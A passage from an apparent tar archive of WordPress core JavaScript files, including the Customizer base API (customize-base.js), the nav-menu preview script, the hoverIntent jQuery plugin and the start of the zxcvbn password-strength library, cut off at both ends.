0===o&&(o=p&&p.textContent),a=h,m=b.temporaryFormId,c=g(m),s=(s=g(b.commentReplyTitleId))?s.firstChild.textContent:"",c||((c=E.createElement("div")).id=m,c.style.display="none",c.textContent=s,a.parentNode.insertBefore(c,a)),d&&y&&(y.value=d),n.value=t,I.style.display="",e.parentNode.insertBefore(h,e.nextSibling),p&&p.nodeType===Node.TEXT_NODE&&(u&&"A"===u.nodeName&&u.id!==b.cancelReplyId&&(u.style.display="none"),p.textContent=o),I.onclick=function(){return!1};try{for(var f=0;f<C.elements.length;f++)if(i=C.elements[f],r=!1,"getComputedStyle"in v?l=v.getComputedStyle(i):E.documentElement.currentStyle&&(l=i.currentStyle),(i.offsetWidth<=0&&i.offsetHeight<=0||"hidden"===l.visibility)&&(r=!0),"hidden"!==i.type&&!i.disabled&&!r){i.focus();break}}catch(e){}return!1}}}}(window);�������������������������������������������������������������������������������������������js/zxcvbn-async.min.js������������������������������������������������������������������������������0000644�����������������00000000537�14717703502�0010740 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! This file is auto-generated */ !function(){function t(){var t,e=document.createElement("script");return e.src=_zxcvbnSettings.src,e.type="text/javascript",e.async=!0,(t=document.getElementsByTagName("script")[0]).parentNode.insertBefore(e,t)}null!=window.attachEvent?window.attachEvent("onload",t):window.addEventListener("load",t,!1)}.call(this);�����������������������������������������������������������������������������������������������������������������������������������������������������������������js/hoverIntent.min.js�������������������������������������������������������������������������������0000644�����������������00000002733�14717703502�0010620 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! This file is auto-generated */ !function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery"],e):"object"==typeof module&&module.exports?module.exports=e(require("jquery")):jQuery&&!jQuery.fn.hoverIntent&&e(jQuery)}(function(f){"use strict";function u(e){return"function"==typeof e}var i,r,v={interval:100,sensitivity:6,timeout:0},s=0,a=function(e){i=e.pageX,r=e.pageY},p=function(e,t,n,o){if(Math.sqrt((n.pX-i)*(n.pX-i)+(n.pY-r)*(n.pY-r))<o.sensitivity)return t.off(n.event,a),delete n.timeoutId,n.isActive=!0,e.pageX=i,e.pageY=r,delete n.pX,delete n.pY,o.over.apply(t[0],[e]);n.pX=i,n.pY=r,n.timeoutId=setTimeout(function(){p(e,t,n,o)},o.interval)};f.fn.hoverIntent=function(e,t,n){function o(e){var u=f.extend({},e),r=f(this),v=((t=r.data("hoverIntent"))||r.data("hoverIntent",t={}),t[i]),t=(v||(t[i]=v={id:i}),v.timeoutId&&(v.timeoutId=clearTimeout(v.timeoutId)),v.event="mousemove.hoverIntent.hoverIntent"+i);"mouseenter"===e.type?v.isActive||(v.pX=u.pageX,v.pY=u.pageY,r.off(t,a).on(t,a),v.timeoutId=setTimeout(function(){p(u,r,v,d)},d.interval)):v.isActive&&(r.off(t,a),v.timeoutId=setTimeout(function(){var e,t,n,o,i;e=u,t=r,n=v,o=d.out,(i=t.data("hoverIntent"))&&delete i[n.id],o.apply(t[0],[e])},d.timeout))}var i=s++,d=f.extend({},v);f.isPlainObject(e)?(d=f.extend(d,e),u(d.out)||(d.out=d.over)):d=u(t)?f.extend(d,{over:e,out:t,selector:n}):f.extend(d,{over:e,out:e,selector:t});return this.on({"mouseenter.hoverIntent":o,"mouseleave.hoverIntent":o},d.selector)}});�������������������������������������js/customize-base.js��������������������������������������������������������������������������������0000644�����������������00000062236�14717703502�0010467 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/** * @output wp-includes/js/customize-base.js */ /** @namespace wp */ window.wp = window.wp || {}; (function( exports, $ ){ var api = {}, ctor, inherits, slice = Array.prototype.slice; // Shared empty constructor function to aid in prototype-chain creation. ctor = function() {}; /** * Helper function to correctly set up the prototype chain, for subclasses. * Similar to `goog.inherits`, but uses a hash of prototype properties and * class properties to be extended. * * @param object parent Parent class constructor to inherit from. * @param object protoProps Properties to apply to the prototype for use as class instance properties. * @param object staticProps Properties to apply directly to the class constructor. * @return child The subclassed constructor. */ inherits = function( parent, protoProps, staticProps ) { var child; /* * The constructor function for the new subclass is either defined by you * (the "constructor" property in your `extend` definition), or defaulted * by us to simply call `super()`. */ if ( protoProps && protoProps.hasOwnProperty( 'constructor' ) ) { child = protoProps.constructor; } else { child = function() { /* * Storing the result `super()` before returning the value * prevents a bug in Opera where, if the constructor returns * a function, Opera will reject the return value in favor of * the original object. This causes all sorts of trouble. */ var result = parent.apply( this, arguments ); return result; }; } // Inherit class (static) properties from parent. $.extend( child, parent ); // Set the prototype chain to inherit from `parent`, // without calling `parent`'s constructor function. ctor.prototype = parent.prototype; child.prototype = new ctor(); // Add prototype properties (instance properties) to the subclass, // if supplied. if ( protoProps ) { $.extend( child.prototype, protoProps ); } // Add static properties to the constructor function, if supplied. if ( staticProps ) { $.extend( child, staticProps ); } // Correctly set child's `prototype.constructor`. child.prototype.constructor = child; // Set a convenience property in case the parent's prototype is needed later. child.__super__ = parent.prototype; return child; }; /** * Base class for object inheritance. */ api.Class = function( applicator, argsArray, options ) { var magic, args = arguments; if ( applicator && argsArray && api.Class.applicator === applicator ) { args = argsArray; $.extend( this, options || {} ); } magic = this; /* * If the class has a method called "instance", * the return value from the class' constructor will be a function that * calls the "instance" method. * * It is also an object that has properties and methods inside it. */ if ( this.instance ) { magic = function() { return magic.instance.apply( magic, arguments ); }; $.extend( magic, this ); } magic.initialize.apply( magic, args ); return magic; }; /** * Creates a subclass of the class. * * @param object protoProps Properties to apply to the prototype. * @param object staticProps Properties to apply directly to the class. * @return child The subclass. */ api.Class.extend = function( protoProps, staticProps ) { var child = inherits( this, protoProps, staticProps ); child.extend = this.extend; return child; }; api.Class.applicator = {}; /** * Initialize a class instance. * * Override this function in a subclass as needed. */ api.Class.prototype.initialize = function() {}; /* * Checks whether a given instance extended a constructor. * * The magic surrounding the instance parameter causes the instanceof * keyword to return inaccurate results; it defaults to the function's * prototype instead of the constructor chain. Hence this function. */ api.Class.prototype.extended = function( constructor ) { var proto = this; while ( typeof proto.constructor !== 'undefined' ) { if ( proto.constructor === constructor ) { return true; } if ( typeof proto.constructor.__super__ === 'undefined' ) { return false; } proto = proto.constructor.__super__; } return false; }; /** * An events manager object, offering the ability to bind to and trigger events. * * Used as a mixin. */ api.Events = { trigger: function( id ) { if ( this.topics && this.topics[ id ] ) { this.topics[ id ].fireWith( this, slice.call( arguments, 1 ) ); } return this; }, bind: function( id ) { this.topics = this.topics || {}; this.topics[ id ] = this.topics[ id ] || $.Callbacks(); this.topics[ id ].add.apply( this.topics[ id ], slice.call( arguments, 1 ) ); return this; }, unbind: function( id ) { if ( this.topics && this.topics[ id ] ) { this.topics[ id ].remove.apply( this.topics[ id ], slice.call( arguments, 1 ) ); } return this; } }; /** * Observable values that support two-way binding. * * @memberOf wp.customize * @alias wp.customize.Value * * @constructor */ api.Value = api.Class.extend(/** @lends wp.customize.Value.prototype */{ /** * @param {mixed} initial The initial value. * @param {Object} options */ initialize: function( initial, options ) { this._value = initial; // @todo Potentially change this to a this.set() call. this.callbacks = $.Callbacks(); this._dirty = false; $.extend( this, options || {} ); this.set = this.set.bind( this ); }, /* * Magic. Returns a function that will become the instance. * Set to null to prevent the instance from extending a function. */ instance: function() { return arguments.length ? this.set.apply( this, arguments ) : this.get(); }, /** * Get the value. * * @return {mixed} */ get: function() { return this._value; }, /** * Set the value and trigger all bound callbacks. * * @param {Object} to New value. */ set: function( to ) { var from = this._value; to = this._setter.apply( this, arguments ); to = this.validate( to ); // Bail if the sanitized value is null or unchanged. if ( null === to || _.isEqual( from, to ) ) { return this; } this._value = to; this._dirty = true; this.callbacks.fireWith( this, [ to, from ] ); return this; }, _setter: function( to ) { return to; }, setter: function( callback ) { var from = this.get(); this._setter = callback; // Temporarily clear value so setter can decide if it's valid. this._value = null; this.set( from ); return this; }, resetSetter: function() { this._setter = this.constructor.prototype._setter; this.set( this.get() ); return this; }, validate: function( value ) { return value; }, /** * Bind a function to be invoked whenever the value changes. * * @param {...Function} A function, or multiple functions, to add to the callback stack. */ bind: function() { this.callbacks.add.apply( this.callbacks, arguments ); return this; }, /** * Unbind a previously bound function. * * @param {...Function} A function, or multiple functions, to remove from the callback stack. */ unbind: function() { this.callbacks.remove.apply( this.callbacks, arguments ); return this; }, link: function() { // values* var set = this.set; $.each( arguments, function() { this.bind( set ); }); return this; }, unlink: function() { // values* var set = this.set; $.each( arguments, function() { this.unbind( set ); }); return this; }, sync: function() { // values* var that = this; $.each( arguments, function() { that.link( this ); this.link( that ); }); return this; }, unsync: function() { // values* var that = this; $.each( arguments, function() { that.unlink( this ); this.unlink( that ); }); return this; } }); /** * A collection of observable values. * * @memberOf wp.customize * @alias wp.customize.Values * * @constructor * @augments wp.customize.Class * @mixes wp.customize.Events */ api.Values = api.Class.extend(/** @lends wp.customize.Values.prototype */{ /** * The default constructor for items of the collection. * * @type {object} */ defaultConstructor: api.Value, initialize: function( options ) { $.extend( this, options || {} ); this._value = {}; this._deferreds = {}; }, /** * Get the instance of an item from the collection if only ID is specified. * * If more than one argument is supplied, all are expected to be IDs and * the last to be a function callback that will be invoked when the requested * items are available. * * @see {api.Values.when} * * @param {string} id ID of the item. * @param {...} Zero or more IDs of items to wait for and a callback * function to invoke when they're available. Optional. * @return {mixed} The item instance if only one ID was supplied. * A Deferred Promise object if a callback function is supplied. */ instance: function( id ) { if ( arguments.length === 1 ) { return this.value( id ); } return this.when.apply( this, arguments ); }, /** * Get the instance of an item. * * @param {string} id The ID of the item. * @return {[type]} [description] */ value: function( id ) { return this._value[ id ]; }, /** * Whether the collection has an item with the given ID. * * @param {string} id The ID of the item to look for. * @return {boolean} */ has: function( id ) { return typeof this._value[ id ] !== 'undefined'; }, /** * Add an item to the collection. * * @param {string|wp.customize.Class} item - The item instance to add, or the ID for the instance to add. When an ID string is supplied, then itemObject must be provided. * @param {wp.customize.Class} [itemObject] - The item instance when the first argument is a ID string. * @return {wp.customize.Class} The new item's instance, or an existing instance if already added. */ add: function( item, itemObject ) { var collection = this, id, instance; if ( 'string' === typeof item ) { id = item; instance = itemObject; } else { if ( 'string' !== typeof item.id ) { throw new Error( 'Unknown key' ); } id = item.id; instance = item; } if ( collection.has( id ) ) { return collection.value( id ); } collection._value[ id ] = instance; instance.parent = collection; // Propagate a 'change' event on an item up to the collection. if ( instance.extended( api.Value ) ) { instance.bind( collection._change ); } collection.trigger( 'add', instance ); // If a deferred object exists for this item, // resolve it. if ( collection._deferreds[ id ] ) { collection._deferreds[ id ].resolve(); } return collection._value[ id ]; }, /** * Create a new item of the collection using the collection's default constructor * and store it in the collection. * * @param {string} id The ID of the item. * @param {mixed} value Any extra arguments are passed into the item's initialize method. * @return {mixed} The new item's instance. */ create: function( id ) { return this.add( id, new this.defaultConstructor( api.Class.applicator, slice.call( arguments, 1 ) ) ); }, /** * Iterate over all items in the collection invoking the provided callback. * * @param {Function} callback Function to invoke. * @param {Object} context Object context to invoke the function with. Optional. */ each: function( callback, context ) { context = typeof context === 'undefined' ? this : context; $.each( this._value, function( key, obj ) { callback.call( context, obj, key ); }); }, /** * Remove an item from the collection. * * @param {string} id The ID of the item to remove. */ remove: function( id ) { var value = this.value( id ); if ( value ) { // Trigger event right before the element is removed from the collection. this.trigger( 'remove', value ); if ( value.extended( api.Value ) ) { value.unbind( this._change ); } delete value.parent; } delete this._value[ id ]; delete this._deferreds[ id ]; // Trigger removed event after the item has been eliminated from the collection. if ( value ) { this.trigger( 'removed', value ); } }, /** * Runs a callback once all requested values exist. * * when( ids*, [callback] ); * * For example: * when( id1, id2, id3, function( value1, value2, value3 ) {} ); * * @return $.Deferred.promise(); */ when: function() { var self = this, ids = slice.call( arguments ), dfd = $.Deferred(); // If the last argument is a callback, bind it to .done(). if ( typeof ids[ ids.length - 1 ] === 'function' ) { dfd.done( ids.pop() ); } /* * Create a stack of deferred objects for each item that is not * yet available, and invoke the supplied callback when they are. */ $.when.apply( $, $.map( ids, function( id ) { if ( self.has( id ) ) { return; } /* * The requested item is not available yet, create a deferred * object to resolve when it becomes available. */ return self._deferreds[ id ] = self._deferreds[ id ] || $.Deferred(); })).done( function() { var values = $.map( ids, function( id ) { return self( id ); }); // If a value is missing, we've used at least one expired deferred. // Call Values.when again to generate a new deferred. if ( values.length !== ids.length ) { // ids.push( callback ); self.when.apply( self, ids ).done( function() { dfd.resolveWith( self, values ); }); return; } dfd.resolveWith( self, values ); }); return dfd.promise(); }, /** * A helper function to propagate a 'change' event from an item * to the collection itself. */ _change: function() { this.parent.trigger( 'change', this ); } }); // Create a global events bus on the Customizer. $.extend( api.Values.prototype, api.Events ); /** * Cast a string to a jQuery collection if it isn't already. * * @param {string|jQuery collection} element */ api.ensure = function( element ) { return typeof element === 'string' ? $( element ) : element; }; /** * An observable value that syncs with an element. * * Handles inputs, selects, and textareas by default. * * @memberOf wp.customize * @alias wp.customize.Element * * @constructor * @augments wp.customize.Value * @augments wp.customize.Class */ api.Element = api.Value.extend(/** @lends wp.customize.Element */{ initialize: function( element, options ) { var self = this, synchronizer = api.Element.synchronizer.html, type, update, refresh; this.element = api.ensure( element ); this.events = ''; if ( this.element.is( 'input, select, textarea' ) ) { type = this.element.prop( 'type' ); this.events += ' change input'; synchronizer = api.Element.synchronizer.val; if ( this.element.is( 'input' ) && api.Element.synchronizer[ type ] ) { synchronizer = api.Element.synchronizer[ type ]; } } api.Value.prototype.initialize.call( this, null, $.extend( options || {}, synchronizer ) ); this._value = this.get(); update = this.update; refresh = this.refresh; this.update = function( to ) { if ( to !== refresh.call( self ) ) { update.apply( this, arguments ); } }; this.refresh = function() { self.set( refresh.call( self ) ); }; this.bind( this.update ); this.element.on( this.events, this.refresh ); }, find: function( selector ) { return $( selector, this.element ); }, refresh: function() {}, update: function() {} }); api.Element.synchronizer = {}; $.each( [ 'html', 'val' ], function( index, method ) { api.Element.synchronizer[ method ] = { update: function( to ) { this.element[ method ]( to ); }, refresh: function() { return this.element[ method ](); } }; }); api.Element.synchronizer.checkbox = { update: function( to ) { this.element.prop( 'checked', to ); }, refresh: function() { return this.element.prop( 'checked' ); } }; api.Element.synchronizer.radio = { update: function( to ) { this.element.filter( function() { return this.value === to; }).prop( 'checked', true ); }, refresh: function() { return this.element.filter( ':checked' ).val(); } }; $.support.postMessage = !! window.postMessage; /** * A communicator for sending data from one window to another over postMessage. * * @memberOf wp.customize * @alias wp.customize.Messenger * * @constructor * @augments wp.customize.Class * @mixes wp.customize.Events */ api.Messenger = api.Class.extend(/** @lends wp.customize.Messenger.prototype */{ /** * Create a new Value. * * @param {string} key Unique identifier. * @param {mixed} initial Initial value. * @param {mixed} options Options hash. Optional. * @return {Value} Class instance of the Value. */ add: function( key, initial, options ) { return this[ key ] = new api.Value( initial, options ); }, /** * Initialize Messenger. * * @param {Object} params - Parameters to configure the messenger. * {string} params.url - The URL to communicate with. * {window} params.targetWindow - The window instance to communicate with. Default window.parent. * {string} params.channel - If provided, will send the channel with each message and only accept messages a matching channel. * @param {Object} options - Extend any instance parameter or method with this object. */ initialize: function( params, options ) { // Target the parent frame by default, but only if a parent frame exists. var defaultTarget = window.parent === window ? null : window.parent; $.extend( this, options || {} ); this.add( 'channel', params.channel ); this.add( 'url', params.url || '' ); this.add( 'origin', this.url() ).link( this.url ).setter( function( to ) { var urlParser = document.createElement( 'a' ); urlParser.href = to; // Port stripping needed by IE since it adds to host but not to event.origin. return urlParser.protocol + '//' + urlParser.host.replace( /:(80|443)$/, '' ); }); // First add with no value. this.add( 'targetWindow', null ); // This avoids SecurityErrors when setting a window object in x-origin iframe'd scenarios. this.targetWindow.set = function( to ) { var from = this._value; to = this._setter.apply( this, arguments ); to = this.validate( to ); if ( null === to || from === to ) { return this; } this._value = to; this._dirty = true; this.callbacks.fireWith( this, [ to, from ] ); return this; }; // Now set it. this.targetWindow( params.targetWindow || defaultTarget ); /* * Since we want jQuery to treat the receive function as unique * to this instance, we give the function a new guid. * * This will prevent every Messenger's receive function from being * unbound when calling $.off( 'message', this.receive ); */ this.receive = this.receive.bind( this ); this.receive.guid = $.guid++; $( window ).on( 'message', this.receive ); }, destroy: function() { $( window ).off( 'message', this.receive ); }, /** * Receive data from the other window. * * @param {jQuery.Event} event Event with embedded data. */ receive: function( event ) { var message; event = event.originalEvent; if ( ! this.targetWindow || ! this.targetWindow() ) { return; } // Check to make sure the origin is valid. if ( this.origin() && event.origin !== this.origin() ) { return; } // Ensure we have a string that's JSON.parse-able. if ( typeof event.data !== 'string' || event.data[0] !== '{' ) { return; } message = JSON.parse( event.data ); // Check required message properties. if ( ! message || ! message.id || typeof message.data === 'undefined' ) { return; } // Check if channel names match. if ( ( message.channel || this.channel() ) && this.channel() !== message.channel ) { return; } this.trigger( message.id, message.data ); }, /** * Send data to the other window. * * @param {string} id The event name. * @param {Object} data Data. */ send: function( id, data ) { var message; data = typeof data === 'undefined' ? null : data; if ( ! this.url() || ! this.targetWindow() ) { return; } message = { id: id, data: data }; if ( this.channel() ) { message.channel = this.channel(); } this.targetWindow().postMessage( JSON.stringify( message ), this.origin() ); } }); // Add the Events mixin to api.Messenger. $.extend( api.Messenger.prototype, api.Events ); /** * Notification. * * @class * @augments wp.customize.Class * @since 4.6.0 * * @memberOf wp.customize * @alias wp.customize.Notification * * @param {string} code - The error code. * @param {object} params - Params. * @param {string} params.message=null - The error message. * @param {string} [params.type=error] - The notification type. * @param {boolean} [params.fromServer=false] - Whether the notification was server-sent. * @param {string} [params.setting=null] - The setting ID that the notification is related to. * @param {*} [params.data=null] - Any additional data. */ api.Notification = api.Class.extend(/** @lends wp.customize.Notification.prototype */{ /** * Template function for rendering the notification. * * This will be populated with template option or else it will be populated with template from the ID. * * @since 4.9.0 * @var {Function} */ template: null, /** * ID for the template to render the notification. * * @since 4.9.0 * @var {string} */ templateId: 'customize-notification', /** * Additional class names to add to the notification container. * * @since 4.9.0 * @var {string} */ containerClasses: '', /** * Initialize notification. * * @since 4.9.0 * * @param {string} code - Notification code. * @param {Object} params - Notification parameters. * @param {string} params.message - Message. * @param {string} [params.type=error] - Type. * @param {string} [params.setting] - Related setting ID. * @param {Function} [params.template] - Function for rendering template. If not provided, this will come from templateId. * @param {string} [params.templateId] - ID for template to render the notification. * @param {string} [params.containerClasses] - Additional class names to add to the notification container. * @param {boolean} [params.dismissible] - Whether the notification can be dismissed. */ initialize: function( code, params ) { var _params; this.code = code; _params = _.extend( { message: null, type: 'error', fromServer: false, data: null, setting: null, template: null, dismissible: false, containerClasses: '' }, params ); delete _params.code; _.extend( this, _params ); }, /** * Render the notification. * * @since 4.9.0 * * @return {jQuery} Notification container element. */ render: function() { var notification = this, container, data; if ( ! notification.template ) { notification.template = wp.template( notification.templateId ); } data = _.extend( {}, notification, { alt: notification.parent && notification.parent.alt } ); container = $( notification.template( data ) ); if ( notification.dismissible ) { container.find( '.notice-dismiss' ).on( 'click keydown', function( event ) { if ( 'keydown' === event.type && 13 !== event.which ) { return; } if ( notification.parent ) { notification.parent.remove( notification.code ); } else { container.remove(); } }); } return container; } }); // The main API object is also a collection of all customizer settings. api = $.extend( new api.Values(), api ); /** * Get all customize settings. * * @alias wp.customize.get * * @return {Object} */ api.get = function() { var result = {}; this.each( function( obj, key ) { result[ key ] = obj.get(); }); return result; }; /** * Utility function namespace * * @namespace wp.customize.utils */ api.utils = {}; /** * Parse query string. * * @since 4.7.0 * @access public * * @alias wp.customize.utils.parseQueryString * * @param {string} queryString Query string. * @return {Object} Parsed query string. */ api.utils.parseQueryString = function parseQueryString( queryString ) { var queryParams = {}; _.each( queryString.split( '&' ), function( pair ) { var parts, key, value; parts = pair.split( '=', 2 ); if ( ! parts[0] ) { return; } key = decodeURIComponent( parts[0].replace( /\+/g, ' ' ) ); key = key.replace( / /g, '_' ); // What PHP does. if ( _.isUndefined( parts[1] ) ) { value = null; } else { value = decodeURIComponent( parts[1].replace( /\+/g, ' ' ) ); } queryParams[ key ] = value; } ); return queryParams; }; /** * Expose the API publicly on window.wp.customize * * @namespace wp.customize */ exports.customize = api; })( wp, jQuery ); ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/customize-preview-nav-menus.min.js���������������������������������������������������������������0000644�����������������00000011656�14717703502�0013727 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! This file is auto-generated */ wp.customize.navMenusPreview=wp.customize.MenusCustomizerPreview=function(a,c,l){"use strict";var t={data:{navMenuInstanceArgs:{}}};return"undefined"!=typeof _wpCustomizePreviewNavMenusExports&&c.extend(t.data,_wpCustomizePreviewNavMenusExports),t.init=function(){var n=this,t=!1;l.preview.bind("sync",function(){t=!0}),l.selectiveRefresh&&(l.each(function(e){n.bindSettingListener(e)}),l.bind("add",function(e){e.get()&&!e.get()._invalid&&n.bindSettingListener(e,{fire:t})}),l.bind("remove",function(e){n.unbindSettingListener(e)}),l.selectiveRefresh.bind("render-partials-response",function(e){e.nav_menu_instance_args&&c.extend(n.data.navMenuInstanceArgs,e.nav_menu_instance_args)})),l.preview.bind("active",function(){n.highlightControls()})},l.selectiveRefresh&&(t.NavMenuInstancePartial=l.selectiveRefresh.Partial.extend({initialize:function(e,n){var t=this,a=e.match(/^nav_menu_instance\[([0-9a-f]{32})]$/);if(!a)throw new Error("Illegal id for nav_menu_instance partial. The key corresponds with the args HMAC.");if(a=a[1],(n=n||{}).params=c.extend({selector:'[data-customize-partial-id="'+e+'"]',navMenuArgs:n.constructingContainerContext||{},containerInclusive:!0},n.params||{}),l.selectiveRefresh.Partial.prototype.initialize.call(t,e,n),!c.isObject(t.params.navMenuArgs))throw new Error("Missing navMenuArgs");if(t.params.navMenuArgs.args_hmac!==a)throw new Error("args_hmac mismatch with id")},isRelatedSetting:function(e,n,t){var a,i,r,s,o,u=this;if(c.isString(e)&&(e=l(e)),(i=/^nav_menu_item\[/.test(e.id))&&c.isObject(n)&&c.isObject(t)&&(r=c.clone(n),s=c.clone(t),delete r.type_label,delete s.type_label,"https"===l.preview.scheme.get()&&((o=document.createElement("a")).href=r.url,o.protocol="https:",r.url=o.href,o.href=s.url,o.protocol="https:",s.url=o.href),n.title&&(delete s.original_title,delete r.original_title),c.isEqual(s,r)))return!1;if(u.params.navMenuArgs.theme_location){if("nav_menu_locations["+u.params.navMenuArgs.theme_location+"]"===e.id)return!0;a=l("nav_menu_locations["+u.params.navMenuArgs.theme_location+"]")}return!!(o=!(o=u.params.navMenuArgs.menu)&&a?a():o)&&("nav_menu["+o+"]"===e.id||i&&(n&&n.nav_menu_term_id===o||t&&t.nav_menu_term_id===o))},refresh:function(){var e,n=this,t=a.Deferred();return c.isNumber(n.params.navMenuArgs.menu)?e=n.params.navMenuArgs.menu:n.params.navMenuArgs.theme_location&&l.has("nav_menu_locations["+n.params.navMenuArgs.theme_location+"]")&&(e=l("nav_menu_locations["+n.params.navMenuArgs.theme_location+"]").get()),e?l.selectiveRefresh.Partial.prototype.refresh.call(n):(n.fallback(),t.reject(),t.promise())},renderContent:function(e){var n=e.container;""===e.addedContent&&e.partial.fallback(),l.selectiveRefresh.Partial.prototype.renderContent.call(this,e)&&a(document).trigger("customize-preview-menu-refreshed",[{instanceNumber:null,wpNavArgs:e.context,wpNavMenuArgs:e.context,oldContainer:n,newContainer:e.container}])}}),l.selectiveRefresh.partialConstructor.nav_menu_instance=t.NavMenuInstancePartial,t.handleUnplacedNavMenuInstances=function(e){var n=c.filter(c.values(t.data.navMenuInstanceArgs),function(e){return!l.selectiveRefresh.partial.has("nav_menu_instance["+e.args_hmac+"]")});return!!c.findWhere(n,e)&&(l.selectiveRefresh.requestFullRefresh(),!0)},t.bindSettingListener=function(e,n){var t;return n=n||{},(t=e.id.match(/^nav_menu\[(-?\d+)]$/))?(e._navMenuId=parseInt(t[1],10),e.bind(this.onChangeNavMenuSetting),n.fire&&this.onChangeNavMenuSetting.call(e,e(),!1),!0):(t=e.id.match(/^nav_menu_item\[(-?\d+)]$/))?(e._navMenuItemId=parseInt(t[1],10),e.bind(this.onChangeNavMenuItemSetting),n.fire&&this.onChangeNavMenuItemSetting.call(e,e(),!1),!0):!!(t=e.id.match(/^nav_menu_locations\[(.+?)]/))&&(e._navMenuThemeLocation=t[1],e.bind(this.onChangeNavMenuLocationsSetting),n.fire&&this.onChangeNavMenuLocationsSetting.call(e,e(),!1),!0)},t.unbindSettingListener=function(e){e.unbind(this.onChangeNavMenuSetting),e.unbind(this.onChangeNavMenuItemSetting),e.unbind(this.onChangeNavMenuLocationsSetting)},t.onChangeNavMenuSetting=function(){var n=this;t.handleUnplacedNavMenuInstances({menu:n._navMenuId}),l.each(function(e){e._navMenuThemeLocation&&n._navMenuId===e()&&t.handleUnplacedNavMenuInstances({theme_location:e._navMenuThemeLocation})})},t.onChangeNavMenuItemSetting=function(e,n){e=l("nav_menu["+String((e||n).nav_menu_term_id)+"]");e&&t.onChangeNavMenuSetting.call(e)},t.onChangeNavMenuLocationsSetting=function(){t.handleUnplacedNavMenuInstances({theme_location:this._navMenuThemeLocation}),!c.findWhere(c.values(t.data.navMenuInstanceArgs),{theme_location:this._navMenuThemeLocation})&&l.selectiveRefresh.requestFullRefresh()}),t.highlightControls=function(){l.settings.channel&&a(document).on("click",".menu-item",function(e){var n;e.shiftKey&&(n=a(this).attr("class").match(/(?:^|\s)menu-item-(-?\d+)(?:\s|$)/))&&(e.preventDefault(),e.stopPropagation(),l.preview.send("focus-nav-menu-item-control",parseInt(n[1],10)))})},l.bind("preview-ready",function(){t.init()}),t}(jQuery,_,(wp,wp.customize));����������������������������������������������������������������������������������js/zxcvbn.min.js������������������������������������������������������������������������������������0000644�����������������00003105735�14717703502�0007636 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! This file is auto-generated */ /*! zxcvbn - v4.4.1 * realistic password strength estimation * https://github.com/dropbox/zxcvbn * Copyright (c) 2012 Dropbox, Inc.; Licensed MIT */ (function(f){if(typeof exports==="object"&&typeof module!=="undefined"){module.exports=f()}else if(typeof define==="function"&&define.amd){define([],f)}else{var g;if(typeof window!=="undefined"){g=window}else if(typeof global!=="undefined"){g=global}else if(typeof self!=="undefined"){g=self}else{g=this}g.zxcvbn = f()}})(function(){var define,module,exports;return (function e(t,n,r){function s(o,u){if(!n[o]){if(!t[o]){var a=typeof require=="function"&&require;if(!u&&a)return a(o,!0);if(i)return i(o,!0);var f=new Error("Cannot find module '"+o+"'");throw f.code="MODULE_NOT_FOUND",f}var l=n[o]={exports:{}};t[o][0].call(l.exports,function(e){var n=t[o][1][e];return s(n?n:e)},l,l.exports,e,t,n,r)}return n[o].exports}var i=typeof require=="function"&&require;for(var o=0;o<r.length;o++)s(r[o]);return s})({1:[function(require,module,exports){ var adjacency_graphs;adjacency_graphs={qwerty:{"!":["`~",null,null,"2@","qQ",null],'"':[";:","[{","]}",null,null,"/?"],"#":["2@",null,null,"4$","eE","wW"],$:["3#",null,null,"5%","rR","eE"],"%":["4$",null,null,"6^","tT","rR"],"&":["6^",null,null,"8*","uU","yY"],"'":[";:","[{","]}",null,null,"/?"],"(":["8*",null,null,"0)","oO","iI"],")":["9(",null,null,"-_","pP","oO"],"*":["7&",null,null,"9(","iI","uU"],"+":["-_",null,null,null,"]}","[{"],",":["mM","kK","lL",".>",null,null],"-":["0)",null,null,"=+","[{","pP"],".":[",<","lL",";:","/?",null,null],"/":[".>",";:","'\"",null,null,null],0:["9(",null,null,"-_","pP","oO"],1:["`~",null,null,"2@","qQ",null],2:["1!",null,null,"3#","wW","qQ"],3:["2@",null,null,"4$","eE","wW"],4:["3#",null,null,"5%","rR","eE"],5:["4$",null,null,"6^","tT","rR"],6:["5%",null,null,"7&","yY","tT"],7:["6^",null,null,"8*","uU","yY"],8:["7&",null,null,"9(","iI","uU"],9:["8*",null,null,"0)","oO","iI"],":":["lL","pP","[{","'\"","/?",".>"],";":["lL","pP","[{","'\"","/?",".>"],"<":["mM","kK","lL",".>",null,null],"=":["-_",null,null,null,"]}","[{"],">":[",<","lL",";:","/?",null,null],"?":[".>",";:","'\"",null,null,null],"@":["1!",null,null,"3#","wW","qQ"],A:[null,"qQ","wW","sS","zZ",null],B:["vV","gG","hH","nN",null,null],C:["xX","dD","fF","vV",null,null],D:["sS","eE","rR","fF","cC","xX"],E:["wW","3#","4$","rR","dD","sS"],F:["dD","rR","tT","gG","vV","cC"],G:["fF","tT","yY","hH","bB","vV"],H:["gG","yY","uU","jJ","nN","bB"],I:["uU","8*","9(","oO","kK","jJ"],J:["hH","uU","iI","kK","mM","nN"],K:["jJ","iI","oO","lL",",<","mM"],L:["kK","oO","pP",";:",".>",",<"],M:["nN","jJ","kK",",<",null,null],N:["bB","hH","jJ","mM",null,null],O:["iI","9(","0)","pP","lL","kK"],P:["oO","0)","-_","[{",";:","lL"],Q:[null,"1!","2@","wW","aA",null],R:["eE","4$","5%","tT","fF","dD"],S:["aA","wW","eE","dD","xX","zZ"],T:["rR","5%","6^","yY","gG","fF"],U:["yY","7&","8*","iI","jJ","hH"],V:["cC","fF","gG","bB",null,null],W:["qQ","2@","3#","eE","sS","aA"],X:["zZ","sS","dD","cC",null,null],Y:["tT","6^","7&","uU","hH","gG"],Z:[null,"aA","sS","xX",null,null],"[":["pP","-_","=+","]}","'\"",";:"],"\\":["]}",null,null,null,null,null],"]":["[{","=+",null,"\\|",null,"'\""],"^":["5%",null,null,"7&","yY","tT"],_:["0)",null,null,"=